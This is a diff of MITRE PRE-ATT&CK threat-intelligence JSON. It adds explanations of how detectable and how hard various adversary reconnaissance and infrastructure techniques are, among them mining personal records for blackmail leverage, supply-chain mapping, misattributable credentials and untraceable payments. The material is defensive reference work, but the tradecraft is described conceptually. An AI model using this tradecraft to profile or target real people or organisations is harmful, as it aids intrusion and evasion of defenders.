-            "description": "An adversary may identify sensitive personnel information not typically posted on a social media site, such as address, marital status, financial history, and law enforcement infractions. This could be conducted by searching public records that are frequently available for free or at a low cost online. (Citation: RSA-APTRecon)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "An adversary may identify sensitive personnel information not typically posted on a social media site, such as address, marital status, financial history, and law enforcement infractions. This could be conducted by searching public records that are frequently available for free or at a low cost online. (Citation: RSA-APTRecon)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Searching publicly available sources that cannot be monitored by a defender.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: This type of information is useful to understand the individual and their ability to be blackmailed.  Searching public records is easy and most information can be purchased for a low cost if the adversary really wants it.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -3790,14 +4000,16 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Searching publicly available sources that cannot be monitored by a defender.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "This type of information is useful to understand the individual and their ability to be blackmailed.  Searching public records is easy and most information can be purchased for a low cost if the adversary really wants it."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--78e41091-d10d-4001-b202-89612892b6ff",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Identify supply chains",
             "description": "Supply chains include the people, processes, and technologies used to move a product or service from a supplier to a consumer. Understanding supply chains may provide an adversary with opportunities to exploit the technology or interconnections that are part of the supply chain. (Citation: SmithSupplyChain) (Citation: CERT-UKSupplyChain) (Citation: RSA-supply-chain)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: No",
             "kill_chain_phases": [
@@ -3836,9 +4048,9 @@
             "id": "attack-pattern--59369f72-3005-4e54-9095-3d00efcece73",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Identify supply chains",
-            "description": "Supply chains include the people, processes, and technologies used to move a product or service from a supplier to a consumer. Understanding supply chains may provide an adversary with opportunities to exploit the people, their positions, and relationships, that are part of the supply chain. (Citation: SmithSupplyChain) (Citation: CERT-UKSupplyChain)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: No",
+            "description": "Supply chains include the people, processes, and technologies used to move a product or service from a supplier to a consumer. Understanding supply chains may provide an adversary with opportunities to exploit the people, their positions, and relationships, that are part of the supply chain. (Citation: SmithSupplyChain) (Citation: CERT-UKSupplyChain)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Searching publicly available sources that cannot be monitored by a defender.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Requires an intensive process to obtain the full picture.  It is possible to obtain basic information/some aspects via OSINT.  May be easier in certain industries where there are a limited number of suppliers (e.g., SCADA).",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -3864,16 +4076,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "No"
+            "x_mitre_detectable_by_common_defenses_explanation": "Searching publicly available sources that cannot be monitored by a defender.",
+            "x_mitre_difficulty_for_adversary": "No",
+            "x_mitre_difficulty_for_adversary_explanation": "Requires an intensive process to obtain the full picture.  It is possible to obtain basic information/some aspects via OSINT.  May be easier in certain industries where there are a limited number of suppliers (e.g., SCADA)."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--7860e21e-7514-4a3f-8a9d-56405ccfdb0c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Identify supply chains",
-            "description": "Supply chains include the people, processes, and technologies used to move a product or service from a supplier to a consumer. Understanding supply chains may provide an adversary with opportunities to exploit organizational relationships. (Citation: SmithSupplyChain) (Citation: CERT-UKSupplyChain)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: No",
+            "description": "Supply chains include the people, processes, and technologies used to move a product or service from a supplier to a consumer. Understanding supply chains may provide an adversary with opportunities to exploit organizational relationships. (Citation: SmithSupplyChain) (Citation: CERT-UKSupplyChain)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Searching publicly available sources that cannot be monitored by a defender.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Requires an intensive process.  May be easier in certain industries where there are a limited number of suppliers (e.g., SCADA).",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -3899,16 +4113,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "No"
+            "x_mitre_detectable_by_common_defenses_explanation": "Searching publicly available sources that cannot be monitored by a defender.",
+            "x_mitre_difficulty_for_adversary": "No",
+            "x_mitre_difficulty_for_adversary_explanation": "Requires an intensive process.  May be easier in certain industries where there are a limited number of suppliers (e.g., SCADA)."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--194bff4f-c218-40df-bea3-1ace715de8dd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Identify technology usage patterns",
-            "description": "Technology usage patterns include identifying if users work offsite, connect remotely, or other possibly less restricted/secured access techniques. (Citation: SANSRemoteAccess)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Technology usage patterns include identifying if users work offsite, connect remotely, or other possibly less restricted/secured access techniques. (Citation: SANSRemoteAccess)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Physical observations, OSINT for remote access instructions, and other techniques are not detectable.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Determine if users work offsite, connect remotely, or other possibly less restricted/secured access techniques.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -3930,16 +4146,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Physical observations, OSINT for remote access instructions, and other techniques are not detectable.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Determine if users work offsite, connect remotely, or other possibly less restricted/secured access techniques."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--ad124f84-52d2-40e3-95dd-cfdd44eae6ef",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Identify vulnerabilities in third-party software libraries",
-            "description": "Many applications use third-party software libraries, often without full knowledge of the behavior of the libraries by the application developer. For example, mobile applications often incorporate advertising libraries to generate revenue for the application developer. Vulnerabilities in these third-party libraries could potentially be exploited in any application that uses the library, and even if the vulnerabilities are fixed, many applications may still use older, vulnerable versions of the library. (Citation: Flexera News Vulnerabilities) (Citation: Android Security Review 2015) (Citation: Android Multidex RCE)\n\nDetectable by Common Defenses: Partial\n\nDifficulty for the Adversary: Yes",
+            "description": "Many applications use third-party software libraries, often without full knowledge of the behavior of the libraries by the application developer. For example, mobile applications often incorporate advertising libraries to generate revenue for the application developer. Vulnerabilities in these third-party libraries could potentially be exploited in any application that uses the library, and even if the vulnerabilities are fixed, many applications may still use older, vulnerable versions of the library. (Citation: Flexera News Vulnerabilities) (Citation: Android Security Review 2015) (Citation: Android Multidex RCE)\n\nDetectable by Common Defenses: Partial\n\nDetectable by Common Defenses explanation: Open source software has great appeal mostly due to the time savings and that it is free.  However, using this code without assessing it's security is akin to blindly executing third party software.  Companies often do not dedicate the time to appropriately detect and scan for vulnerabilities. The mainstream mobile application stores scan applications for some known vulnerabilities. For example, Google's Android Application Security Improvement Program identifies and alerts developers to vulnerabilities present in their applications from use of the Vungle, Apache Cordova, WebView SSL, GnuTLS, and Vitamio third-party libraries. However, these scans are not likely to cover all vulnerable libraries, developers may not always act on the results, and the results may not be made available to impacted end users of the applications.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Developers commonly use open source libraries such that where an adversary can easily discover known vulnerabilities and create exploits.  It is also generally easy to decompile arbitrary mobile applications to determine what libraries they use, and similarly use this information to correlate against known CVEs and exploit packages.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -3969,16 +4187,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "Partial",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Open source software has great appeal mostly due to the time savings and that it is free.  However, using this code without assessing it's security is akin to blindly executing third party software.  Companies often do not dedicate the time to appropriately detect and scan for vulnerabilities. The mainstream mobile application stores scan applications for some known vulnerabilities. For example, Google's Android Application Security Improvement Program identifies and alerts developers to vulnerabilities present in their applications from use of the Vungle, Apache Cordova, WebView SSL, GnuTLS, and Vitamio third-party libraries. However, these scans are not likely to cover all vulnerable libraries, developers may not always act on the results, and the results may not be made available to impacted end users of the applications.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Developers commonly use open source libraries such that where an adversary can easily discover known vulnerabilities and create exploits.  It is also generally easy to decompile arbitrary mobile applications to determine what libraries they use, and similarly use this information to correlate against known CVEs and exploit packages."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--288b3cc3-f4da-4250-ab8c-d8b5dbed94ca",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Identify web defensive services",
-            "description": "An adversary can attempt to identify web defensive services as [https://www.cloudflare.com/ CloudFlare], [https://github.com/jjxtra/Windows-IP-Ban-Service IPBan], and [https://www.snort.org/ Snort]. This may be done by passively detecting services, like [https://www.cloudflare.com/ CloudFlare] routing, or actively, such as by purposefully tripping security defenses. (Citation: NMAP WAF NSE)\n\nDetectable by Common Defenses: Yes\n\nDifficulty for the Adversary: Yes",
+            "description": "An adversary can attempt to identify web defensive services as [https://www.cloudflare.com/ CloudFlare], [https://github.com/jjxtra/Windows-IP-Ban-Service IPBan], and [https://www.snort.org/ Snort]. This may be done by passively detecting services, like [https://www.cloudflare.com/ CloudFlare] routing, or actively, such as by purposefully tripping security defenses. (Citation: NMAP WAF NSE)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Active service detection may trigger an alert.  Passive service enumeration is not detected.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Adversary can passively detect services (e.g., [https://www.cloudflare.com/ CloudFlare] routing) or actively detect services (e.g., by purposefully tripping security defenses)",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -4000,16 +4220,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "Yes",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Active service detection may trigger an alert.  Passive service enumeration is not detected.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Adversary can passively detect services (e.g., [https://www.cloudflare.com/ CloudFlare] routing) or actively detect services (e.g., by purposefully tripping security defenses)"
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--73e394e5-3d8a-40d1-ab8c-a1b4ea9db424",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Install and configure hardware, network, and systems",
-            "description": "An adversary needs the necessary skills to set up procured equipment and software to create their desired infrastructure. (Citation: KasperskyRedOctober)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "An adversary needs the necessary skills to set up procured equipment and software to create their desired infrastructure. (Citation: KasperskyRedOctober)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Defender will not have visibility on 3rd party sites unless target is successfully enticed to visit one.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Skills are common to majority of computer scientists and \"hackers\".  Can be easily obtained through contracting if not organic to adversary's organization.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -4031,16 +4253,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Defender will not have visibility on 3rd party sites unless target is successfully enticed to visit one.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Skills are common to majority of computer scientists and \"hackers\".  Can be easily obtained through contracting if not organic to adversary's organization."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--2c8a9df4-52a9-4770-94b3-5e95ab7d59f9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Leverage compromised 3rd party resources",
-            "description": "The utilization of resources not owned by the adversary to launch exploits or operations. This includes utilizing equipment that was previously compromised or leveraging access  gained by other methods (such as compromising an employee at a business partner location). (Citation: CitizenLabGreatCannon)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: No",
+            "description": "The utilization of resources not owned by the adversary to launch exploits or operations. This includes utilizing equipment that was previously compromised or leveraging access  gained by other methods (such as compromising an employee at a business partner location). (Citation: CitizenLabGreatCannon)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: While possible to detect, it requires a broader vantage point than is typical that provides increased insight and conducts extensive data analysis and correlation between events.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Conducting technique requires either nation-state level capabilities or large amounts of financing to coordinate multiple 3rd party resources to gain desired insight.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -4062,16 +4286,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "No"
+            "x_mitre_detectable_by_common_defenses_explanation": "While possible to detect, it requires a broader vantage point than is typical that provides increased insight and conducts extensive data analysis and correlation between events.",
+            "x_mitre_difficulty_for_adversary": "No",
+            "x_mitre_difficulty_for_adversary_explanation": "Conducting technique requires either nation-state level capabilities or large amounts of financing to coordinate multiple 3rd party resources to gain desired insight."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--cdfdb0cd-a839-403c-9dd6-8a85d8c5c73d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Map network topology",
-            "description": "A network topology is the arrangement of the various elements of a network (e.g., servers, workstations, printers, routers, firewalls, etc.). Mapping a network allows an adversary to understand how the elements are connected or related. (Citation: man traceroute) (Citation: Shodan Tutorial)\n\nDetectable by Common Defenses: Yes\n\nDifficulty for the Adversary: Yes",
+            "description": "A network topology is the arrangement of the various elements of a network (e.g., servers, workstations, printers, routers, firewalls, etc.). Mapping a network allows an adversary to understand how the elements are connected or related. (Citation: man traceroute) (Citation: Shodan Tutorial)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Network mapping techniques/tools typically generate benign traffic that does not require further investigation by a defender since there is no actionable defense to execute.  Defender review of access logs may provide some insight based on trends or patterns.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Various available tools and data sources for scouting and detecting network topologies.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -4097,16 +4323,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "Yes",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Network mapping techniques/tools typically generate benign traffic that does not require further investigation by a defender since there is no actionable defense to execute.  Defender review of access logs may provide some insight based on trends or patterns.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Various available tools and data sources for scouting and detecting network topologies."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--695b1cce-57d7-49ae-a2af-820d50153f12",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Mine social media",
-            "description": "An adversary may research available open source information about a target commonly found on social media sites such as [https://www.facebook.com Facebook], [https://www.instagram.com Instagram], or [https://www.pinterest.com Pinterest].  Social media is public by design and provides insight into the interests and potentially inherent weaknesses of a target for exploitation by the adversary. (Citation: RSA-APTRecon)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "An adversary may research available open source information about a target commonly found on social media sites such as [https://www.facebook.com Facebook], [https://www.instagram.com Instagram], or [https://www.pinterest.com Pinterest].  Social media is public by design and provides insight into the interests and potentially inherent weaknesses of a target for exploitation by the adversary. (Citation: RSA-APTRecon)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Searching publicly available sources that cannot be monitored by a defender.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Very public by design.  Application of privacy settings is not a panacea.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -4128,16 +4356,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Searching publicly available sources that cannot be monitored by a defender.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Very public by design.  Application of privacy settings is not a panacea."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--a54a7708-8f64-45f3-ad51-1abf976986a0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Mine technical blogs/forums",
-            "description": "Technical blogs and forums provide a way for technical staff to ask for assistance or troubleshoot problems. In doing so they may reveal information such as operating system (OS), network devices, or applications in use. (Citation: FunAndSun2012)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Technical blogs and forums provide a way for technical staff to ask for assistance or troubleshoot problems. In doing so they may reveal information such as operating system (OS), network devices, or applications in use. (Citation: FunAndSun2012)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Cannot detect access to public sites.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Success is dependent upon the existence of detailed technical specifications for target network posted in blogs/forums.  Poor OPSEC practices result in an adversary gleaning a lot of sensitive information about configurations and/or issues encountered.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -4159,16 +4389,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Cannot detect access to public sites.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Success is dependent upon the existence of detailed technical specifications for target network posted in blogs/forums.  Poor OPSEC practices result in an adversary gleaning a lot of sensitive information about configurations and/or issues encountered."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--31fa5b03-1ede-4fab-8a68-ed831fcf4899",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Misattributable credentials",
-            "description": "The use of credentials by an adversary with the intent to hide their true identity and/or portray them self as another person or entity.  An adversary may use misattributable credentials in an attack to convince a victim that credentials are legitimate and trustworthy when this is not actually the case. (Citation: FakeSSLCerts)\n\nDetectable by Common Defenses: Partial\n\nDifficulty for the Adversary: Yes",
+            "description": "The use of credentials by an adversary with the intent to hide their true identity and/or portray them self as another person or entity.  An adversary may use misattributable credentials in an attack to convince a victim that credentials are legitimate and trustworthy when this is not actually the case. (Citation: FakeSSLCerts)\n\nDetectable by Common Defenses: Partial\n\nDetectable by Common Defenses explanation: If a previous incident identified the credentials used by an adversary, defenders can potentially use these credentials to track the adversary through reuse of the same credentials.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: An adversary can easily create and use misattributable credentials to obtain servers, build environment, [https://aws.amazon.com AWS] accounts, etc.  Many service providers require some form of identifiable information such as a phone number or email address, but there are several avenues to acquire these consistent with the misattributable identity.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -4190,16 +4422,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "Partial",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "If a previous incident identified the credentials used by an adversary, defenders can potentially use these credentials to track the adversary through reuse of the same credentials.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "An adversary can easily create and use misattributable credentials to obtain servers, build environment, [https://aws.amazon.com AWS] accounts, etc.  Many service providers require some form of identifiable information such as a phone number or email address, but there are several avenues to acquire these consistent with the misattributable identity."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--90884cdb-31dd-431c-87db-9cc7e03191e5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Network-based hiding techniques",
-            "description": "Technical network hiding techniques are methods of modifying traffic to evade network signature detection or to utilize misattribution techniques. Examples include channel/IP/VLAN hopping, mimicking legitimate operations, or seeding with misinformation. (Citation: HAMMERTOSS2015)\n\nDetectable by Common Defenses: Yes\n\nDifficulty for the Adversary: No",
+            "description": "Technical network hiding techniques are methods of modifying traffic to evade network signature detection or to utilize misattribution techniques. Examples include channel/IP/VLAN hopping, mimicking legitimate operations, or seeding with misinformation. (Citation: HAMMERTOSS2015)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Unless defender is dissecting protocols or performing network signature analysis on any protocol deviations/patterns, this technique is largely undetected.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Some of the hiding techniques require special accesses (network, proximity, physical, etc.) and/or may rely on knowledge of how the defender operates and/or awareness on what visibility the defender has and how it is obtained",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -4221,16 +4455,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "Yes",
-            "x_mitre_difficulty_for_adversary": "No"
+            "x_mitre_detectable_by_common_defenses_explanation": "Unless defender is dissecting protocols or performing network signature analysis on any protocol deviations/patterns, this technique is largely undetected.",
+            "x_mitre_difficulty_for_adversary": "No",
+            "x_mitre_difficulty_for_adversary_explanation": "Some of the hiding techniques require special accesses (network, proximity, physical, etc.) and/or may rely on knowledge of how the defender operates and/or awareness on what visibility the defender has and how it is obtained"
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--b79e8a3f-a109-47c2-a0e3-564955590a3d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Non-traditional or less attributable payment options",
-            "description": "Using alternative payment options allows an adversary to hide their activities. Options include crypto currencies, barter systems, pre-paid cards or shell accounts. (Citation: Goodin300InBitcoins)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Using alternative payment options allows an adversary to hide their activities. Options include crypto currencies, barter systems, pre-paid cards or shell accounts. (Citation: Goodin300InBitcoins)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Defender likely will not have access to payment information.  Monitoring crypto-currency or barter boards is resource intensive and not fully automatable.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Easy to use pre-paid cards or shell accounts to pay for services online.  Crypto currencies and barter systems can avoid use of trace-able bank or credit apparatus.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -4252,16 +4488,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Defender likely will not have access to payment information.  Monitoring crypto-currency or barter boards is resource intensive and not fully automatable.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Easy to use pre-paid cards or shell accounts to pay for services online.  Crypto currencies and barter systems can avoid use of trace-able bank or credit apparatus."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--5436571f-2332-4b51-b7ed-0bc822fe02c2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "OS-vendor provided communication channels",
-            "description": "Google and Apple provide Google Cloud Messaging and Apple Push Notification Service, respectively, services designed to enable efficient communication between third-party mobile app backend servers and the mobile apps running on individual devices. These services maintain an encrypted connection between every mobile device and Google or Apple that cannot easily be inspected and must be allowed to traverse networks as part of normal device operation. These services could be used by adversaries for communication to compromised mobile devices. (Citation: Securelist Mobile Malware 2013) (Citation: DroydSeuss)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Google and Apple provide Google Cloud Messaging and Apple Push Notification Service, respectively, services designed to enable efficient communication between third-party mobile app backend servers and the mobile apps running on individual devices. These services maintain an encrypted connection between every mobile device and Google or Apple that cannot easily be inspected and must be allowed to traverse networks as part of normal device operation. These services could be used by adversaries for communication to compromised mobile devices. (Citation: Securelist Mobile Malware 2013) (Citation: DroydSeuss)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: These services are heavily utilized by mainstream mobile app developers.  High volume of communications makes it extremely hard for a defender to distinguish between legitimate and adversary communications.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: These are free services provided by Google and Apple to app developers, and information on how to use them is readily available.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -4287,16 +4525,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "These services are heavily utilized by mainstream mobile app developers.  High volume of communications makes it extremely hard for a defender to distinguish between legitimate and adversary communications.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "These are free services provided by Google and Apple to app developers, and information on how to use them is readily available."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--e6ca2820-a564-4b74-b42a-b6bdf052e5b6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Obfuscate infrastructure",
